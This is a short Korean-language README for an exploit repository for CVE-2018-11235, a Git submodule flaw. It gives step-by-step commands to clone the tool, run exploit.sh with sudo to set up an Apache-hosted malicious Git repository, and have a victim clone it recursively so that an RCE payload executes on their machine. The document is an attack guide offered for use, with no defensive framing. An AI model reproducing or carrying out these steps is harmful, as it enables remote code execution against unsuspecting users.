CVE-2018-11235

1. ssh를 사용하여 VPS에 접속하세요.
2. 이 저장소를 클론하세요:

git clone https://github.com/Rezy-Dev/CVE-2018-11235
cd CVE-2018-11235

3. exploit.sh에 실행(x) 권한을 부여한 후 실행하세요:

sudo chmod +x exploit.sh
sudo ./exploit.sh

apache2를 다운로드하고 악성 저장소를 구축합니다.

4. 완료되면 http://vps-ip/malicious.git 링크를 git 저장소로 사용할 수 있습니다.
5. 피해자가 다음과 같이 클론할 때:

git clone --recurse-submodules http://vps-ip/malicious.git

페이로드 RCE 명령이 실행됩니다.

감사합니다!